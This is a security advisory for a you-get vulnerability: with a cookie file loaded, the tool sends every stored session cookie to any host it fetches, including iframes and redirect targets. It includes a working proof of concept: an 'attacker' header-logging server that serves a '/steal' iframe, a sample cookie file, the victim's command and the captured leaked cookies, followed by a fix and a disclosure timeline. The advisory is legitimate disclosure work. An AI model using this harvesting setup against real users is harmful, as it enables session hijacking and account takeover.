# CVE-2026-117081 — you-get cross-origin cookie-jar disclosure

> Source: <https://gist.github.com/Linus-Shyu/d45873b64a75ed35f44dfeb129c479e3>
> Published: 2026-11-06 14:53:42+00:00

**CVE:** [CVE-2026-117081](https://www.cve.org/CVERecord?id=CVE-2026-117081)
**Product:** [you-get](https://github.com/soimort/you-get) — a command-line media downloader
**Affected versions:** `<= 0.4.1743` (PyPI) and the current development branch (commit `049548f` / `e9165e0`)
**CWE:** CWE-200 (Exposure of Sensitive Information), CWE-565 (Reliance on Cookies without Validation)
**CVSS 3.1:** `AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N` — **6.5 (Medium)**
**Discovered by:** Faxin Xu (Linus Shyu)

When you-get is started with `-c/--cookies cookies.txt`, the helpers
`get_content()` and `post_content()` construct an HTTP `Cookie` header from
**every cookie in the jar, without any domain, path, or secure matching**, and
attach it to every request. Because the `universal` extractor calls
`get_content()` on arbitrary page URLs and recursively on every `<iframe src>`
found in the page, a user who runs you-get on a malicious page (or any page
embedding attacker content) sends **all** of their stored session cookies — for
example bilibili `SESSDATA`, YouTube `LOGIN_INFO`, and any other site exported
into the file — to the attacker's host. This enables account takeover of every
account whose cookies are present in the file.

`src/you_get/common.py`, `get_content()` (lines 465–477) — identical logic in
`post_content()` (lines 518–530):

```
req = request.Request(url, headers=headers)
if cookies:
    # NOTE: Do not use cookies.add_cookie_header(req)
    cookie_strings = []
    for cookie in list(cookies):
        cookie_strings.append(cookie.name + '=' + cookie.value)
    cookie_headers = {'Cookie': '; '.join(cookie_strings)}
    req.headers.update(cookie_headers)
```

`cookies` is a `http.cookiejar.MozillaCookieJar` populated by `load_cookies()`
(from the `-c` flag). Iterating `list(cookies)` yields **all** cookies
regardless of the request URL. The jar's built-in scoping (`add_cookie_header`,
which applies domain/path/secure matching) is deliberately bypassed here.

1. **Any HTML page.**`universal.py:15` calls`embed_download()` for any`text/html` URL whose host is not in the extractor table;`embed.py:68` calls`get_content(url)` → the page host receives the full jar on the very
first request.
2. **Iframe recursion (amplifier).**`embed.py:121–136` recursively fetches
every`<iframe src>` in the page with`get_content()` (depth 3). A single
attacker iframe embedded in any page therefore receives the full jar.
3. **Extractor traffic.** 78 extractor modules call`get_content()` and 6 call`post_content()` ; several do so with URLs derived from page/API content.
4. **Cross-host redirects.**`urllib` 's redirect handler copies request
headers — including this manually attached`Cookie` header — to redirect
targets on other hosts.

Three small files reproduce the leak locally. The "attacker" is a local HTTP
server on `127.0.0.1:8123` that records every header it receives.

``` bash
#!/usr/bin/env python3
"""Attacker-controlled web server that logs every request header it receives."""
import http.server
import sys

PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 8123

class Handler(http.server.BaseHTTPRequestHandler):
    def do_HEAD(self):
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.end_headers()

    def do_GET(self):
        print(f"\n=== ATTACKER SERVER received: {self.command} {self.path}", flush=True)
        for k, v in self.headers.items():
            print(f"    {k}: {v}", flush=True)
        body = b"<html><head><title>free movie</title></head><body>"
        body += b'<iframe src="https://gist.github.com/steal"></iframe>'
        body += b"</body></html>"
        self.send_response(200)
        self.send_header('Content-Type', 'text/html')
        self.send_header('Content-Length', str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def log_message(self, *a):
        pass

http.server.HTTPServer(('127.0.0.1', PORT), Handler).serve_forever()
```

Netscape-format cookie file with session cookies from two unrelated sites:

```
# Netscape HTTP Cookie File
.bilibili.com	TRUE	/	FALSE	9999999999	SESSDATA	TOP_SECRET_BILIBILI_SESSION
.youtube.com	TRUE	/	TRUE	9999999999	LOGIN_INFO	TOP_SECRET_YOUTUBE_SESSION
```

The `python -m you_get` entry point can exit early because the package
`__init__` imports `__main__`; this helper calls the CLI directly. If you have
you-get installed normally, you can simply use the `you-get` command instead.

``` bash
#!/usr/bin/env python3
"""Run you-get's CLI with explicit argv (works around the -m entry-point quirk)."""
import os, sys
sys.path.insert(0, os.environ.get("YOUGET_SRC", "you-get/src"))
sys.argv = ["you-get"] + sys.argv[1:]
from you_get.common import main
main()
# 1. Attacker starts the logging server
python3 server.py 8123 > server.log 2>&1 &

# 2. Victim runs you-get against the attacker page, loading their cookie file
you-get -i -c cookies.txt http://127.0.0.1:8123/
# (or: python3 run_youget.py -i -c cookies.txt http://127.0.0.1:8123/)

# 3. Attacker reads the log
grep -A9 "received" server.log
```

Cookies belonging to `bilibili.com` and `youtube.com` are delivered to the
unrelated attacker host, on the initial page request **and** on the
attacker-chosen iframe URL:

```
=== ATTACKER SERVER received: GET /
    Host: 127.0.0.1:8123
    Cookie: SESSDATA=TOP_SECRET_BILIBILI_SESSION; LOGIN_INFO=TOP_SECRET_YOUTUBE_SESSION

=== ATTACKER SERVER received: GET /steal
    Host: 127.0.0.1:8123
    Cookie: SESSDATA=TOP_SECRET_BILIBILI_SESSION; LOGIN_INFO=TOP_SECRET_YOUTUBE_SESSION
```

Running the same command **without** `-c` sends no `Cookie` header, and the
domain-aware `get_response()` path (which uses `HTTPCookieProcessor`) also
sends nothing to unrelated hosts. The leak is specific to the manual
cookie-header construction in `get_content()`/` post_content()`.

Complete disclosure of every session cookie in the user-provided cookie file to
arbitrary hosts → session hijacking / account takeover for all accounts
represented. Cookie export files produced by browser extensions routinely
contain credentials for multiple sites. No special privileges are required;
the attack needs only the (common) use of `-c cookies.txt` and visiting a page
containing attacker content.

Use the cookie jar's standard scoping when sending, e.g.:

```
if cookies:
    cookies.add_cookie_header(req)
```

`add_cookie_header()` applies the standard domain/path/secure matching; the
existing `#HttpOnly_` workaround only concerns *loading*, and does not apply to
sending. Optionally strip the `Cookie` header on cross-host redirects.

- `2026-10-11` — Vulnerability discovered and reproduced.
- `2026-10-11` — CVE ID requested from MITRE CNA-LR.
- `2026-11-06` — CVE ID assigned (`CVE-2026-117081` ).
- `2026-11-06` — Public disclosure.

- CVE record: [https://www.cve.org/CVERecord?id=CVE-2026-117081](https://www.cve.org/CVERecord?id=CVE-2026-117081)
- you-get repository: [https://github.com/soimort/you-get](https://github.com/soimort/you-get)
- SECURITY.md: [https://github.com/soimort/you-get/blob/master/SECURITY.md](https://github.com/soimort/you-get/blob/master/SECURITY.md)
